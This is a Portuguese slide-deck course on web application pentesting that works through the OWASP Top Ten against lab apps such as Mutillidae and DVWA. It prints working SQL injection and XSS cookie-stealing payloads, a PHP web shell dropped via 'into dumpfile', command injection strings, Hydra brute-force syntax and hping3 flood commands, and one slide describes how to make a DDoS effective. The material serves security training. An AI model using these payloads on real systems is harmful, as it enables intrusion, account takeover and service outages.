SlideShare uma empresa Scribd logo
1 de 85
Baixar para ler offline
kleitor.franklint@gmail.com
Kleitor Franklint
Pentest App Servidor
Nivel 1
Teste de segurança: Técnicas de Verificação
Falsos Positivos, Falsos Negativos, Camadas indetectáveis.
Aplicaçã
o
RISCOS
Testes de segurança: Análise de resultado
Aplicaçã
o
RISCOS
CRITICIDADE, IMPACTO, PROBABILIDADE
IMPLICAÇÕES
RECOMENDAÇÕES
-Modelagem de ameaças
-Interações pré- noivado ( escopo, objetivo, reuniões)
-Coleta de informação ( analisadores, eng. Social, etc)
-Análise de Vulnerabilidade
-Exploitation ( explorar para tirar vantagem)
-Pós Exploitation ( mais analise e decisão )
-Relatórios
Fases de um Pentest
Coleta de informações
NMAP é o rei
Fonte: https://nmap.org/book/nse.html
-Que informações queremos?
-Que portas estão abertas?
-Que informações podemos aproveitar e pra quê?
Usando o help: nmap --help
Use o grep: nmap | grep -i script
nmap -A <target>
nmap -T5 <target>
nmap -F -sV <target>
De olho na latência!!!
NMAP: alguns exemplos do uso
Interface gráfica: zenmap
locate *.nse - localizando scripts
locate *vuln*.nse
nmap --script mysql-vuln-cve2012-2122.nse <target>
nmap -sV --script=banner <target>
Escreva seus próprios scripts
https://nmap.org/book/nse-tutorial.html
NMAP: Usando scripts ( O foco )
Coleta de informações – Web Servers
Nikto-webserver scanner
http://www.tecmint.com/nikto-a-web-application-vulnerability-and-cgi-scanner-for-
web-servers/
Coleta de informações
Exemplo
Nikto -h <target> -o report-nikto.txt
Usando o help
Definindo portas:
-p 80,443 - especificas
-p 80-443 – range
Testar no webscantest.com
-Atenção ao bloqueio do primeiro ataque
-Bancos de vulnerabilidades: www.osvdb.org
Scan de
vulnerabilidades
Sintaxe geral: skipfish <parametros> -o /<dir> <target>
skipfish -r 1000 -o /result-skipfish <target>
Obs: apagar diretório antes do próximo scan.
Dicionários:
skipfish -r 1000 -o /result-skipfish3 -S
/usr/share/skipfish/dictionaries/complete.wl <target>
Um pouco mais sobre dicionários
https://github.com/spinkham/skipfish/blob/master/doc/dictionaries.txt
https://github.com/spinkham/skipfish
O lado cliente da força
HackBar :: Complementos para o Firefox - Add-ons
Apresentando o OWASP Mutillidae II
/documentation/mutillidae-test-scripts.txt
A1- FALHAS DE INJEÇÃO
Ataques via browser ou prompt:
SQL Injection: comandos SQL
XSS Injection: Javascript e HTML
Outros: command Injection, LDAP, XML, etc.
Injeta-se uma query SQL na aplicação usando um navegador web comum.
IMPACTO
Criar, ler, atualizar ou excluir qualquer dado
disponível para a aplicação através de SQL;
Ganhar acesso a recursos restritos de S.O e
rede;
Conectar-se a sistemas como se fosse um
usuário autorizado, driblando a necessidade
de uma senha.
SQL Injection
Cenários: CAMPOS EDITÁVEIS OU NÃO, UPLOAD MALIOSOS,
CSS maliciosos, etc.
Comportamento: Estímulo / resposta
Error based: erro como resposta
Time based: Blind Injection, tempo como resposta
A técnica básica:
-Mudar o comportamento do comando através concatenadores e comentários
-Primeiro, testar qual símbolo pode quebrar a string: aspas, apóstrofos, parênteses
SQL Injection
Práticas
-Bypass de autenticação
-Bypass de operações
-SQlI com XSS
-Leitura de arquivos
-Shells maliciosos
SQL Injection – Error based
Bypass de autenticação
http://localhost/mutillidae/index.php?page=login.php
User: joao' or 1=1#
-Qual o comportamento?
-Que informações trouxe?
-De que usuário e perfil são as informações?
-Onde as vejo?
-Como as vejo?
Exercício 1: testar no campo senha
Exercício 2: logar com usuário Jeremy
SQL Injection – Error based
Bypass de operações - inserção
http://localhost/mutillidae/index.php?page=add-to-your-
blog.php&popUpNotificationCode=SUD1
-Qual o comportamento da funcionalidade?
-Qual payload quebra a app?
-Que operação ela realiza?
-Quantos campos ela tem, de que tipo, em que ordem?
-Onde se vê o resultado?
payload
Hacked','2022-06-01 12:00:01')#
SQL Injection – Error based
SQLí e XSS
SQL Injection – Error based
http://localhost/mutillidae/index.php?page=user-info.php
Brincando com union
' union select 1,2,3,4,5,6,7#
Descobrindo o numero de colunas
Em que coluna encaixar o ataque?
SQLI- XSS – funções mysql de string
A vantagem sobre os escapes contra XSS
Payload
' union select 1,2,CHAR(60, 115, 99, 114, 105, 112, 116, 62, 97, 108, 101, 114, 116,
40, 49, 41, 60, 47, 115, 99, 114, 105, 112, 116, 62),4,5,6,7#
SQlI – lendo arquivos do host
http://localhost/mutillidae/index.php?page=user-info.php
-Que funcionalidades buscar pra fazer este ataque?
-Que arquivos são interessantes?
-Que funções usar do SGBD para o ataque?
Payload
' UNION ALL SELECT 1,2,LOAD_FILE('/etc/passwd'),4,5,6,7 #
SQL Injection – Error based
SQli – Upload malicioso e command injection
<HTML>
<HEAD>
<TITLE>Simple PHP Shell</TITLE>
</HEAD>
<BODY>
<form method=post>
<input type="text" name="comando"/>
<input name="submit" type=submit value=”executar">
</FORM>
<?php
echo "<pre>";
echo shell_exec($_REQUEST["comando"]);
echo "</pre>";
?>
</BODY>
</HTML>
SQL Injection – Error based
SQlí – Upload malicioso e command injection
' union select null,null,null,null,null,null,'<HTML> <HEAD> <TITLE>Simple PHP
Shell</TITLE> </HEAD> <BODY> <form method=post> <input type="text"
name="comando"/> <input name="submit" type=submit value=”executar">
</FORM> <?php echo "<pre>"; echo shell_exec($_REQUEST["comando"]); echo
"</pre>"; ?> </BODY> </HTML>' into dumpfile
'/opt/lampp/htdocs/mutillidae/shell.php'#
Executar o shell.php
-Por que a vulnerabilidade funcionou?
-O que aprendemos aqui?
-Quais OWASP TOP TEN
SQL Injection – Error based
-Estratégias para descobrir numero de colunas com time based
-Quando o erro não aparece no browser nem no proxy
http://localhost/mutillidae/index.php?page=user-info.php
' union select 1,2,3,4,5,6,sleep(5)#
Exercício no login
- Realizar um ataque DOS usando sleep()
SQLi- Blind Injection – Time based
SQL-Map
http://sqlmap.org/
-Quando usar o sqlmap?
-Por que demora tanto a encontrar?
-Por que por vezes não encontra nada?
-Em que momento do ciclo do pentest usa-lo?
-Qual a estratégia de investigação? O que eu quero descobrir
-Que dificuldades existem na formação da string de ataque e como
resolvê-los.
-Como passar parâmetros diversos? Sintaxe e manutenção
-Quando o numero de threads é importante?
SQL-Map
http://sqlmap.org/
Amplo, geral, lento e vago
sqlmap -u <host>
Mais objetivo
sqlmap -u <host> dbms=MYSQL
Ainda falta algo..
sqlmap -u <host> dbms=MYSQL <o que fazer quando achar>
SQL-Map
O que fazer quando achar?
--dbs
-D banco-de-dados –table
-T tabela --columns
-T tabela --dump
Exemplos:
sqlmap -u <host> --dbs
sqlmap -u <host> -D <banco-de-dados> --table
sqlmap -u <host> -T tabela --dump
sqlmap -u <host> -T tabela --columns
Análise aprofundada
sqlmap -u <host> --level 5 --risk 4 --passwords -v 1 –time-sec=4
SQL-Map
Custo de manutenção e êxito no ataque
-Como capturar todos os dados necessários para privilégios pós-login?
-Como capturar cookies? Roubo de sessão
-Como resolver problemas de parâmetros concatenados com "+"
Usando um arquivo de autenticação e parâmetros.
Quais parâmetros?
Capturar a página user-info: admin&adminpass
Quando capturar? O que capturar?
sqlmap -r /opt/user-request.txt dbms=MYSQL --dbs
SQL-Map
SQL-Map
Exemplo de uso
sqlmap -r /opt/user-request.txt dbms=MYSQL –dbs
sqlmap -r /opt/user-request.txt dbms=MYSQL -D nowasp --table
sqlmap -r /opt/user-request.txt dbms=MYSQL -T accounts --dump
Prametros para decodificação de senhas
Técnicas de prâmetros
https://github.com/sqlmapproject/sqlmap/wiki/Techniques
Bypass de wafs
https://forum.bugcrowd.com/t/sqlmap-tamper-scripts-sql-injection-and-waf-bypass/423
SQL-Map
http://sqlmap.org/
Scan de
vulnerabilidades
Ataques
-Inicio Rápido: active scan
-Configurando o proxy
-Ofuscação
-Relatórios
-O escopo de teste: domínio, spider
-Varredura ativa e alertas: cores e grupos
-Falso positos e negativos
-Scanner através de proxy: vantagens
https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
Add on
Proxy selector
Proxy Selector :: Complementos para o Firefox - Add-ons - Mozilla
A1- Commando
Injection
DVWA
127.0.0.1 && ls /opt
127.0.0.1 && net start telnet
A2- QUEBRA DE AUTENTICAÇÃO E
GERENCIAMENTO DE SESSÃO
Cenários: vazamentos ou falhas em funções de
autenticação ou gerenciamento de sessão para
assumir a identidade de outro usuário.
Alvos: contas expostas, senhas fracas, ID de
sessão capturáveis ou de baixa randomização,
IMPACTO
A2- Quebra de sessão e
gerenciamento de sessão
Tudo o que possa roubar a
sessão: A1...A10
A2- Quebra de sessão e
gerenciamento de
sessão
Bypass de autenticação por
cookies: validade, etc.
Cookies manager, firebug
A3-CROSS-SITE SCRIPTING (XSS)
Executar scripts cliente (Javascript, Flash Script, HTML, etc) de
forma direta ( no meu browser) ou remota ( no browser da
vítima).
•Roubar sessões de usuário;
•Pichar sites Web;
•Introduzir worms, zumbis, etc;
•Negação de serviço.
IMPACTO
A3- XSS
Tipos: Armazenado, Refletido
Bypass
-Se a sanitização estiver na pagina cliente, repassar
via proxy
-Se a sanitização for para texto plano, repassar
ofuscado
A3- XSS
Onde?
-No browser como favorito
-No cookies: campo “content”
Payloads:
javascript:alert(document.cookie)
javascript:(document.cookie)
Javascript ou <script>?
Resultado:
http://localhost/mutillidae/index.php?page=capture-data.php
A3- XSS
Use um proxy e ofusque. Por que?
Pagina de login, codificar como URL. O problema do “+”
Depurar e Codificar com o owasp-zap para url e
substituir no login.
<script>document.location="http://localhost/mutillidae/index.php
?page=captured-data.php&c="+document.cookie</script>
Resultado:
http://localhost/mutillidae/index.php?page=capture-data.php
A3- XSS persistente -stored
Onde?
http://localhost/mutillidae/index.php?page=add-to-your-blog.php
Exemplos:
-<a href="#" onclick="alert(document.cookie);">veja aqui sua resposta</a>
-Injetando a pagina de login do mutillidae com firebug
A3- XSS
http://beefproject.com/
-HACKING;
-Exploit;
-Coleta de informações
INICIALIZANDO O BEEF
Usar o menu já dispara o servidor e exploit panel: beef, beef
A3- XSS – BEEF
Usando o beef to exploit
http://127.0.0.1:3000/ui/authentication
http://localhost:3000/hook.js
Onde?
http://localhost/mutillidae/index.php?page=dns-lookup.php
A3- XSS – BEEF
Beef – Hook e comandos
-Que informações obtenho?
-Coleta de informações.
-As cores
Enviando um :
-alert
-fake flash update
-Fake notification bar
-Pretty Theft
Session hijacking descreve todos os
métodos de um atacante poder
acessar a session de um outro usuário.
A2- Quebra de sessão e
gerenciamento de
sessão
Scanner com Owasp-zap Fuzzer:
Sqli, XSS, etc
-Escolha de payload e
parametrizações eficazes
-Diretorio de scripts
-Outros recursos: chamar terceiros
internamente: sqlmap, etc
Exercícios
Atacando a autenticação – força bruta
Etapas:
-Observar comportamento para formação de senha
-Gerar lista de senhas
-Preparar a estratégia passiva ou ativa de ataque
-Realizar ataque força bruta
Saber mais:
prevent brute-force attack
Information Security The Complete Reference, 2nd Edition
A2- Quebra de sessão e
gerenciamento de sessão
Gerando listas
-Cuidado com listas geradas do lado cliente: como box, listboxes,
Default Password List, etc.
-Como construir listas rapidamente?
-O que posso obter?
-O que mais posso obter com a criação de listas
-Quantas listas preciso para atacar?
-A importancia da engenharia social na formação de senhas
Atacando a autenticação
Atacando a autenticação
Gerar listas para o ataque
-Use geradores de CPF
Na internet:
https://packetstormsecurity.com/Crackers/wordlists/
http://www.openwall.com/wordlists/
No kali
ls /usr/share/wordlists/
Geradores de lista para ataque
de autenticação
Atacando a autenticação
crunch
cewl
Gerar listas para o ataque
cewl -d 2 -m 5 -w docswords.txt <host>
cewl -v -d 3 -m 3 -w docswords.txt --meta --
meta_file=meta.txt --email --email_file=emails.txt
http://localhost/muttilidae
https://digi.ninja/projects/cewl.php
Sintaxe:
crunch <min> max<max> <characterset> -t <pattern> -o
<output filename>
man crunch
Ver:
http://www.backtrack-linux.org/forums/showthread.php?t=39232
Exemplos:
crunch 4 6 1234567890 -o wordlist4-6.txt
crunch 9 9 -t admin@@@@ -o pass-list.txt
Gerar listas para o ataque
HYDRA
hydra -l admin -P passlist.txt 127.0.0.1 http-post-form
"/mutillidae/index.php?page=login.php:username=^USER^&passwo
rd=^PASS^&login-php-submit-button=Login:Not Logged In"
A2- Quebra de sessão e gerenciamento de
sessão
Para senhas de S.O
john para decodificar senhas
http://www.cyberciti.biz/faq/unix-linux-password-
cracking-john-the-ripper/
A2- Quebra de sessão e gerenciamento de
sessão
Ataque de força bruta – reflexões
-Ataque simples é o que passa a autenticação em texto
plano ao invés de cookies
-performance é importante?
-Use um ataque por proxy burpsuite com for interno
A4- Referência insegura a
objetos
A5- Erro de configuração de
segurança
A4 e A5
File injection: Upload irrestrito, LFI, RFI
Ver:
/etc/passwd
Exercício:
-Tentar escalada de privilégios: executar um php que não
pode pela via direta - LFI
-Listar membros da intranet - RFI
http://localhost/mutillidae/index.php?page=text-file-viewer.php
A4-REFERÊNCIA INSEGURA DIRETA A OBJETOS
Alterar parâmetros aplicação web via URL do browser, campo da aplicação ou
prompt. O usuário pode ser autorizado ou não.
Quebra de limites e restrições a arquivos, diretórios, banco de dados, etc. Exemplos:
• Votar ou marcar consultas quantas vezes quiser;
• Acessar conta de um usuário alterando um ID;
• Ter acesso a funcionalidades de maior privilégio.
IMPACTO
http://example.com/app/accountInfo?IdConta=1
A5- CONFIGURAÇÃO INCORRETA
DE SEGURANÇA
Refere-se à configurações de segurança incorretas ou não implementadas, isso
inclui manter atualizados software e suas partes. Utiliza-se demais técnicas de
ataque.
Cenários:
• Contas padrão;
• Páginas não utilizadas;
• Falhas não corrigidas;
• Arquivos e diretórios desprotegidos;
• Padrões de nomes fracos,
• Padrões de senha fracos, etc.
• Relações internas e externas.
• Captchas de baixa randomização e complexidade.
IMPACTO
A4 e A5
File injection -upload irrestrito
-Scripts maliciosos
-Imagens maliciosas
-Mudando header para atacar
Exemplo e exercício
https://r57.gen.tr/
C99.php
Reports
Agile Top Ten
Sessões exploratórias e reports
A6- EXPOSIÇÃO DE DADOS SENSÍVEIS
Ausência ou inadequação da proteção aplicações web a dados sensíveis: Trânsito,
armazenamento e exposição ( banco de dados, scripts clientes e servidores).
Ex. dados sensíveis: cartões de crédito, IDs fiscais e credenciais de autenticação.
IMPACTO
• Fraudes no cartão de crédito;
• Roubo de identidade.
• Ganho de privilégios
Criptografar: armazenamento (memoria e disco), transito
Para:
-Garantir a identidade de uma ou ambas as partes
-Evitar a violação de dados
-Evitar ataques de replay
SSL+TSL =SSL/TSL-→ HTPS-→ 403
A6- Exposição de dados sensíveis
Entendendo o básico
SSL/TSL
http://blog.siteblindado.com/2014/02/07/tls-ssl-diferencas-protocolos/
Cifras
http://ptcomputador.com/Networking/network-
security/75984.html#.V3UOnYaZeit
Livro
Penetration testing A Hands-On Introduction to Hacking
A6- Exposição de dados sensíveis
O que testar?
-Criptografia: A implementação usa um conjunto de padrão e cifra de segurança forte?
-Identidade: A execução verifica a identidade do servidor corretamente e
completamente?
-Violação de dados: a implementação protege totalmente os dados do usuário para a
duração da sessão do usuário?
-Ataques de replay: A implementação contém um método para impedir? Man-In-The-
Middle (MitM)
A6- Exposição de dados sensíveis
O que testar? Plano de teste
https://www.owasp.org/index.php/Testing_for_SSL-TLS_(OWASP-CM-001)
https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet
https://www.owasp.org/index.php/Testing_for_Weak_SSL/TLS_Ciphers,_Insuffi
cient_Transport_Layer_Protection_(OTG-CRYPST-001)
A6- Exposição de dados sensíveis
Determinar versão e existência:
nmap -sV expresso.am.gov.br
Identificar cifras fracas e protocolos: analisadores: Nessus, analisadores on line
sslscan --no-failed expresso.am.gov.br
openssl s_client -no_tls1 -no_ssl3 -connect www.google.com:443
https://www.openssl.org/docs/manmaster/apps/s_client.html
tlssled expresso.am.gov.br 443
http://www.pentesterscripting.com/discovery/ssl_tests
O que testar? Plano de teste
Analise de SSl/TSL - reports
Análise geral e força da cifra
https://www.ssllabs.com/ssltest/
Analisa SSLv3 and TLSv1 Protocol Weak CBC
https://pentest-tools.com/network-vulnerability-scanning/ssl-poodle-scanner
OpenSSL DROWN vulnerability scanner
https://pentest-tools.com/network-vulnerability-scanning/drown-ssl-scanner
Check your SSL/TLS certificate installation
https://cryptoreport.websecurity.symantec.com/checker/views/certCheck.jsp
Suporte do browser
Lado cliente: alertas do browser, certificados e suporte
Suporte a SSL3 - testa para ver se conecta no site
Disabling Browser Support - SSL v3 Protocol https://blog.mozilla.org/security/2014/10/14/the-
poodle-attack-and-the-end-of-ssl-3-0/
Testando suporte a ssl3
https://www.poodletest.com/
Habilitar ssl
about:config
A6- Exposição de dados sensíveis
SSLSTRIP - MItM
Não veremos aqui
SSSTRIPS ( sslstrip e Ettercap)
http://www.100security.com.br/capturando-senhas-com-sslstrip-e-bloquear-o-ataque-com-arpon/
http://www.nanoshots.com.br/2015/09/capturando-senhas-com-social.html
A7- FALTA DE FUNÇÃO PARA
CONTROLE DO NÍVEL DE ACESSO
O atacante é um usuário autorizado no
sistema, que simplesmente muda a URL ou um
parâmetro de função privilegiada com o
propósito de acessar a funcionalidade sem
autorização adequada.
Necessário validar no servidor cada função
invocada.
IMPACTO
Tipos: vertical, horizontal
Escalada horizontal
Estado de login / logout.
http://localhost/mutillidae/index.php?popUpNotificationCode=AU1
http://localhost/mutillidae/index.php?page=login.php&popUpNotificationCode=LOU1
Escalada Vertical
-Mudar valor cookie ou requisição para obter privilégios: Owasp-zap, firebug, tags
-Acessar o site por troca de url ( linha de comando do browser, proxy)
-Acessa funcionalidade pro troca do nome de funcionalidade, padrões e parâmetros
-Ganhar privilegio pós-login por alteração e arquivos clientes de configuração de privilégios
A7- falta controle de acesso de nível de função
Analise de
vulnerabilidade
Para executar: W3af
Configurar: ataque e relatório;
Criar próprio script
Para mais:
https://media.readthedocs.org/pdf/w3af/latest/
w3af.pdf
A8- REQUISIÇÃO REMOTA
FORJADA (CSRF)
CENÁRIOS
• Requisições não validadas em aplicações;
• Links em e-mails;
• Mensagens em forums, etc;
• Clones de sites.
Forjar requisições HTTP falsas através de XSS
ou engenharia social, além de inúmeras outras
técnicas. Se o usuário estiver autenticado, o
ataque é bem sucedido.
IMPACTO
A8-Requisição remota forjada (CSRF)
Testar no owasp –zap: add your blog
http://tipstrickshack.blogspot.com.br/2012/10/how-to-exploit-csfr-
vulnerabilitycsrf.html
https://pt.wikipedia.org/wiki/Cross-site_request_forgery
https://www.youtube.com/watch?v=GoNKI6dlD80
Black Hat 2013 - Dissecting CSRF Attacks and Countermeasures
A9- UTILIZAÇÃO DE COMPONENTES
VULNERÁVEIS CONHECIDOS
O atacante identifica um componente vulnerável
através de varredura ou análise manual e ataca a
aplicação através dele.
Malwares também assumem esse comportamento.
IMPACTO
A9-Uso de componentes com
vulnerabilidades conhecidas
Wpscan –
usando como um profissional
wpscan -u <host>
wpscan -u <host> --enumerate t, u,p, vt,vp
wpscan -u <host> -e u,p -f
wpscan -u <host> --enumerate u -t 4
wpscan -u <host> -e u -t 4
Aplicações Web frequentemente redirecionam e
encaminham os usuários para outras páginas e
sites e usam dados não confiáveis para
determinar as páginas de destino.
A10- REDIRECIONAMENTOS E
ENCAMINHAMENTOS INVÁLIDOS.
Sem validação adequada, os
atacantes podem redirecionar
vítimas a sites de phishing ou
malware, ou encaminhar para
acessar páginas não autorizadas.
Exercícios:
http://192.168.1.66/mutillidae/index.php?page=redirectandlog.php&forwardurl=http:/
/www.owasp.org
http://localhost/mutillidae/index.php?page=http://www.owasp.org
Mais sobre ataques:
https://www.owasp.org/index.php/Unvalidated_Redirects_and_Forwards_Cheat_Sheet
A10- REDIRECIONAMENTOS E
ENCAMINHAMENTOS INVÁLIDOS.
Algumas coisas úteis:
Owasp-zap –
compare request-response
Add on para pentest
Wappalyzer – por quê?
DOS
denial-of-service (DoS) ou
distributed denial-of-service (DDoS)
attack
Um bom ataque:
-Pluralizar a fonte: multiplos zumbis
-Sobrecarregar: múltiplas threads, múltiplos alvos
-Tentar bypass da análise:
-slow DOS
-Ip de confiança
_Por dentro da app
-Radomização da anonimidade
Tipos de ataque
-Baseada em volume
-Baseado no protocolo
Recursos do servidor ao invés de largura de banda, indo para e partir do servidor
equipamento periférico
-Ataques de camada de aplicativo
Alvo é a camada de aplicação
Slow Dos at all : Slowloris
Para saber mais
-https://www.blackmoreops.com/2015/04/21/denial-of-service-
attack-dos-using-hping3-with-spoofed-ip-in-kali-linux/
-https://www.verisign.com/pt_BR/security-services/ddos-
protection/types-of-ddos-attacks/index.xhtml
-https://www.rivalhost.com/12-types-of-ddos-attacks-used-by-
hackers/
-https://www.incapsula.com/ddos/ddos-attacks/
-http://null-byte.wonderhowto.com/how-to/hack-like-pro-denial-
service-dos-tools-techniques-0165699/
-https://nmap.org/nsedoc/scripts/http-slowloris-check.html
Como saber se funcionou? latência demasiada, queda do
serviço
Hping3
hping3 -S --flood -V 127.0.0.1
hping3 --flood -V --rand-source localhost

Mais conteúdo relacionado

Mais procurados

16103271 software-testing-ppt
16103271 software-testing-ppt16103271 software-testing-ppt
16103271 software-testing-pptatish90
 
Detection Rules Coverage
Detection Rules CoverageDetection Rules Coverage
Detection Rules CoverageSunny Neo
 
Introduction to Automation Testing and Selenium overiew
Introduction to Automation Testing and Selenium overiewIntroduction to Automation Testing and Selenium overiew
Introduction to Automation Testing and Selenium overiewDisha Srivastava
 
Malicious Payloads vs Deep Visibility: A PowerShell Story
Malicious Payloads vs Deep Visibility: A PowerShell StoryMalicious Payloads vs Deep Visibility: A PowerShell Story
Malicious Payloads vs Deep Visibility: A PowerShell StoryDaniel Bohannon
 
Chapter 2 - Performance Measurement Fundamentals
Chapter 2 - Performance Measurement FundamentalsChapter 2 - Performance Measurement Fundamentals
Chapter 2 - Performance Measurement FundamentalsNeeraj Kumar Singh
 
Chapter 3 - Agile Testing Methods, Techniques and Tools
Chapter 3 - Agile Testing Methods, Techniques and ToolsChapter 3 - Agile Testing Methods, Techniques and Tools
Chapter 3 - Agile Testing Methods, Techniques and ToolsNeeraj Kumar Singh
 
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...Frans Rosén
 
Introduction To OWASP
Introduction To OWASPIntroduction To OWASP
Introduction To OWASPMarco Morana
 
Hunting Lateral Movement in Windows Infrastructure
Hunting Lateral Movement in Windows InfrastructureHunting Lateral Movement in Windows Infrastructure
Hunting Lateral Movement in Windows InfrastructureSergey Soldatov
 
DevSecOps: Let's Write Security Unit Tests
DevSecOps: Let's Write Security Unit TestsDevSecOps: Let's Write Security Unit Tests
DevSecOps: Let's Write Security Unit TestsPuma Security, LLC
 
Secure coding practices
Secure coding practicesSecure coding practices
Secure coding practicesScott Hurrey
 
Adversary Emulation and the C2 Matrix
Adversary Emulation and the C2 MatrixAdversary Emulation and the C2 Matrix
Adversary Emulation and the C2 MatrixJorge Orchilles
 

Mais procurados (20)

16103271 software-testing-ppt
16103271 software-testing-ppt16103271 software-testing-ppt
16103271 software-testing-ppt
 
Detection Rules Coverage
Detection Rules CoverageDetection Rules Coverage
Detection Rules Coverage
 
How fun of privilege escalation Red Pill2017
How fun of privilege escalation  Red Pill2017How fun of privilege escalation  Red Pill2017
How fun of privilege escalation Red Pill2017
 
Introduction to Automation Testing and Selenium overiew
Introduction to Automation Testing and Selenium overiewIntroduction to Automation Testing and Selenium overiew
Introduction to Automation Testing and Selenium overiew
 
Malicious Payloads vs Deep Visibility: A PowerShell Story
Malicious Payloads vs Deep Visibility: A PowerShell StoryMalicious Payloads vs Deep Visibility: A PowerShell Story
Malicious Payloads vs Deep Visibility: A PowerShell Story
 
Selenium
SeleniumSelenium
Selenium
 
Chapter 2 - Performance Measurement Fundamentals
Chapter 2 - Performance Measurement FundamentalsChapter 2 - Performance Measurement Fundamentals
Chapter 2 - Performance Measurement Fundamentals
 
Chapter 1 - Agile Methodology
Chapter 1 - Agile MethodologyChapter 1 - Agile Methodology
Chapter 1 - Agile Methodology
 
Chapter 3 - Agile Testing Methods, Techniques and Tools
Chapter 3 - Agile Testing Methods, Techniques and ToolsChapter 3 - Agile Testing Methods, Techniques and Tools
Chapter 3 - Agile Testing Methods, Techniques and Tools
 
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
How to steal and modify data using Business Logic flaws - Insecure Direct Obj...
 
Introduction To OWASP
Introduction To OWASPIntroduction To OWASP
Introduction To OWASP
 
Hunting Lateral Movement in Windows Infrastructure
Hunting Lateral Movement in Windows InfrastructureHunting Lateral Movement in Windows Infrastructure
Hunting Lateral Movement in Windows Infrastructure
 
DevSecOps: Let's Write Security Unit Tests
DevSecOps: Let's Write Security Unit TestsDevSecOps: Let's Write Security Unit Tests
DevSecOps: Let's Write Security Unit Tests
 
TMMi Implementation Guideline
TMMi Implementation GuidelineTMMi Implementation Guideline
TMMi Implementation Guideline
 
Secure coding practices
Secure coding practicesSecure coding practices
Secure coding practices
 
Adversary Emulation and the C2 Matrix
Adversary Emulation and the C2 MatrixAdversary Emulation and the C2 Matrix
Adversary Emulation and the C2 Matrix
 
Chapter 1 - Testing Process
Chapter 1 - Testing ProcessChapter 1 - Testing Process
Chapter 1 - Testing Process
 
Chapter 5 - Reviews
Chapter 5 - ReviewsChapter 5 - Reviews
Chapter 5 - Reviews
 
Pentest cool
Pentest coolPentest cool
Pentest cool
 
Basic of BISS
Basic of BISSBasic of BISS
Basic of BISS
 

Semelhante a Pentest App Servidor Nivel 1

AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEAppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEMagno Logan
 
Mini Curso - Pen Test - Univem
Mini Curso - Pen Test - UnivemMini Curso - Pen Test - Univem
Mini Curso - Pen Test - Univemevandrovv
 
Fisl 16 – Nem tudo o que reluz é ouro. hackeando as principais dicas de desen...
Fisl 16 – Nem tudo o que reluz é ouro. hackeando as principais dicas de desen...Fisl 16 – Nem tudo o que reluz é ouro. hackeando as principais dicas de desen...
Fisl 16 – Nem tudo o que reluz é ouro. hackeando as principais dicas de desen...Thiago Dieb
 
Fisl 16 - Nem tudo o que reluz é ouro. hackeando as principais dicas de dese...
Fisl 16 - Nem tudo o que reluz é ouro. hackeando as principais dicas de dese...Fisl 16 - Nem tudo o que reluz é ouro. hackeando as principais dicas de dese...
Fisl 16 - Nem tudo o que reluz é ouro. hackeando as principais dicas de dese...As Zone
 
Palestra - Darkmira Tour PHP 2016 - A ilusão das referências sobre desenvolv...
Palestra - Darkmira Tour PHP 2016  - A ilusão das referências sobre desenvolv...Palestra - Darkmira Tour PHP 2016  - A ilusão das referências sobre desenvolv...
Palestra - Darkmira Tour PHP 2016 - A ilusão das referências sobre desenvolv...Thiago Dieb
 
Palestra - PHPESTE 2015 - Hacker do bem, quebrando as principais dicas de des...
Palestra - PHPESTE 2015 - Hacker do bem, quebrando as principais dicas de des...Palestra - PHPESTE 2015 - Hacker do bem, quebrando as principais dicas de des...
Palestra - PHPESTE 2015 - Hacker do bem, quebrando as principais dicas de des...Thiago Dieb
 
Palestra: Pentest - Intrusão de Redes
Palestra: Pentest - Intrusão de RedesPalestra: Pentest - Intrusão de Redes
Palestra: Pentest - Intrusão de RedesBruno Alexandre
 
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesPalestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em Aplicações
Palestra em parceria com o @cefet_rj – Auditoria Teste de Invasão em AplicaçõesClavis Segurança da Informação
 
PHP like a super hero
PHP like a super heroPHP like a super hero
PHP like a super heroElton Minetto
 
Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas ( Versão Segi...
 Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas ( Versão Segi... Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas ( Versão Segi...
Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas ( Versão Segi...Alexandro Silva
 
Proteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas
Proteja sua Hovercraft: Mantendo sua nave livre dos SentinelasProteja sua Hovercraft: Mantendo sua nave livre dos Sentinelas
Proteja sua Hovercraft: Mantendo sua nave livre dos SentinelasSegInfo
 
Xss injection indo alem do alert.v 0.4
Xss injection indo alem do alert.v 0.4Xss injection indo alem do alert.v 0.4
Xss injection indo alem do alert.v 0.4William Costa
 
Introdução ao teste de intrusão em redes
Introdução ao teste de intrusão em redesIntrodução ao teste de intrusão em redes
Introdução ao teste de intrusão em redesAlisson Fuckner
 
AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...
AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...
AppSec Brazil 2010 - Utilizando a ESAPI para prover Segurança em Aplicações W...Magno Logan
 
PHPUnit e teste de software
PHPUnit e teste de softwarePHPUnit e teste de software
PHPUnit e teste de softwarericardophp
 
Palestra criando aplicações seguras com php (2)
Palestra  criando aplicações seguras com php (2)Palestra  criando aplicações seguras com php (2)
Palestra criando aplicações seguras com php (2)Leandro Lugaresi
 
Workshop - Testes de Segurança
Workshop - Testes de SegurançaWorkshop - Testes de Segurança
Workshop - Testes de SegurançaAlan Carlos
 
A1 - Sql Injection na Prática Parte 01
A1 - Sql Injection na Prática Parte 01A1 - Sql Injection na Prática Parte 01
